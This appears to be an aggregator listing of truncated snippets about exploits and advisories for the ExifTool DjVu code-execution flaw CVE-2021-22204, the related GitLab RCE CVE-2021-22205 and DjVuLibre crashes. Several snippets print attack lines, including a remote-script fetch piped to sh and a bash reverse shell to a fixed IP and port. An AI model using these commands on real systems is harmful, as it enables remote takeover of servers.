CVE-2021-22204

Vulnerable Version 7.44 12.23 Reproduce root@kitploit: $ bash craftadjvuexploit.sh 'cal' $ ./exiftool delicate.jpg Screenshot Reference NVD-CVE-2021-22204...

CVE-2021-22204

CVE-2021-22204 - Exiftool Remote Code Execution Description Recently, the researcher wcbowling found a vulnerability in the Exiftool tool, that enabled a malicious actor to perform a Remote code Execution attack. This vulnerability was found in the Gitlab bug bounty program, where they use this...

CVE-2021-22204

CVE-2021-22204 - ExifTool Arbitrary Code Execution An upgraded proof-of-concept for CVE-2021-22204, a vulnerability in ExifTool versions 7.44 through 12.23 that allows arbitrary code execution when processing malicious DjVu files. Credit This is derivative work. The vulnerability and the original...

CVE-2021-22204

CVE-2021-22204 Summary of the CVE Improper sanitization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image. Affected Versions Version 7.44 - 12.23 Anomalies Dependencies: djvulibre-bin exiftool Calls these three...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 This is just a convenience script I wrote for testing. Output root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates a...

CVE-2021-22205-getshell

CVE-2021-22205-getshell CVE-2021-22205-getshell Tested Version Generate the exploit command root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Use djvumake to generate the exploit image root@kitploit: import os payloads= "echo 'bash -i...

DjVuLibre-poc-CVE-2025-53367

1- 什么是 DJVU。 DjVu（发音为“déjà vu”）是一套压缩技术、一种文件格式以及一个软件平台，用于通过网络分发数字文档、扫描文档和高分辨率图像。 DjVu 文档下载和显示速度极快，并且在所有平台上看起来完全一样。对于数字文档，DjVu 可以被视为 PDF 和 PostScript 的优越替代品；对于扫描文档，是 TIFF（和 PDF）的替代品；对于照片和图片，是 JPEG 的替代品；对于大型调色板图像，是 GIF 的替代品。DjVu 是唯一一种实用的、用于在网络上分发高分辨率彩色扫描文档的 Web 格式。没有其他格式能与之媲美。 典型的 DjVu 文件大小如下： 二值扫描文...

Gitlab-CVE-2021-22205

Unauthenticated RCE on Gitlab version 13.10.3 Unauthenticated RCE exploit for gitlab version 13.10.3 For educational/research purpose only. Use at your own risk Root cause: When uploading image files, Gitlab Workhorse passes any files with the extensions jpg|jpeg|tiff through to ExifTool to remov...

CVE-2021-22205

CVE-2021-22205 Preauth RCE via exiftool on Gitlab CE/EE Summary of the CVE GitLab uses ExifTool to scan every tiff/jpeg/jpg file to remove any tags that are not whitelisted. But because ExifTool doesn't use file extensions to determine filetype but it rather uses the content of the file, which...

CVE-2021-22205

CVE-2021-22205 - GitLab Unauthenticated Remote Code Execution CVE-2021-22205 is a critical Remote Code Execution RCE vulnerability affecting GitLab Community Edition CE and Enterprise Edition EE. The vulnerability originates from improper validation of uploaded image files that are processed by t...

exploit-CVE-2021-22204

Exploit for CVE-2021-22204 ExifTool - Arbitrary Code Execution Like this repo? Give us a ⭐! For educational and authorized security research purposes only. Exploit Author @UNICORDev by @NicPWNs and @Dev-Yeoj Vulnerability Description Improper neutralization of user data in the DjVu file format in...

dejavu

DejaVu This container runs a web application that analyzes images and returns their metadata using exiftool. Users send the application a URL to an image and the app will retrieve it, analyze it, and return the results. The version of exiftool used by the application is vulnerable to CVE-2021-222...

CVE-2021-22205

CVE-2021-22205 mr-r3bot/Gitlab-CVE-2021-22205 に基づいたFork 概要 CVE-2021-22205: Gitlab 未承認リモートコード実行脆弱性のEXP djvumake & djvulibre への依存を除去し、ペイロードを内部で直接生成するようにしたため、Windowsプラットフォームでも実行可能です。 使用方法 root@kitploit: 需要授权 python3 exploit.py -u -p -t -c 未授权 python3 exploit.py -t -c...

Astra Linux – Vulnerability in DjVuLibre

In DjVuLibre 3.5.27, the DjVmDir.cpp file within the DJVU reader component allows attackers to cause a denial-of-service attack resulting in a crash of the application by creating a DJVU file that triggers a heap-based buffer overflow attack in the GStringRep::strdup function within...

Astra Linux – Vulnerability in DjVuLibre

A flaw was discovered in djvulibre-3.5.28 and earlier. A malicious read operation in the function DJVU::DataPool::hasdata, through a crafted djvu file, may cause the application to crash and lead to other issues...

CVE-2021-22204

CVE-2021-22204 Description Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image Script Script Link Script usage: System cmd: root@kitploit: bash CVE-2021-2204.sh "system'id'" happy.jpg Revers...

CVE-2021-22204-Gitlab

Gitlab-Exiftool-RCE Original repos : https://github.com/CsEnox/Gitlab-Exiftool-RCE Creds to CsEnox. RCE Exploit for Gitlab 13.10.3 GitLab Workhorse will pass any file to ExifTool. The current bug is in the DjVu module of ExifTool. Anyone with the ability to upload an image that goes through the...

Astra Linux – Vulnerability in DjVuLibre

In DjVuLibre 3.5.27, the sorting functionality also known as GArrayTemplate::sort allows attackers to cause a denial-of-service attack, resulting in an application crash due to uncontrolled recursion. This can occur when a PBM image file is mishandled in the libdjvu/GContainer.h header file...

Astra Linux – Vulnerability in DjVuLibre

A flaw was discovered in djvulibre-3.5.28 and earlier. A heap buffer overflow occurs in the function DJVU::GBitmap::decode, due to a malicious djvu file, which may lead to the application crashing and other related issues...

Astra Linux – Vulnerability in libimage-exiftool-perl

Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and above allows arbitrary code execution when parsing the malicious image...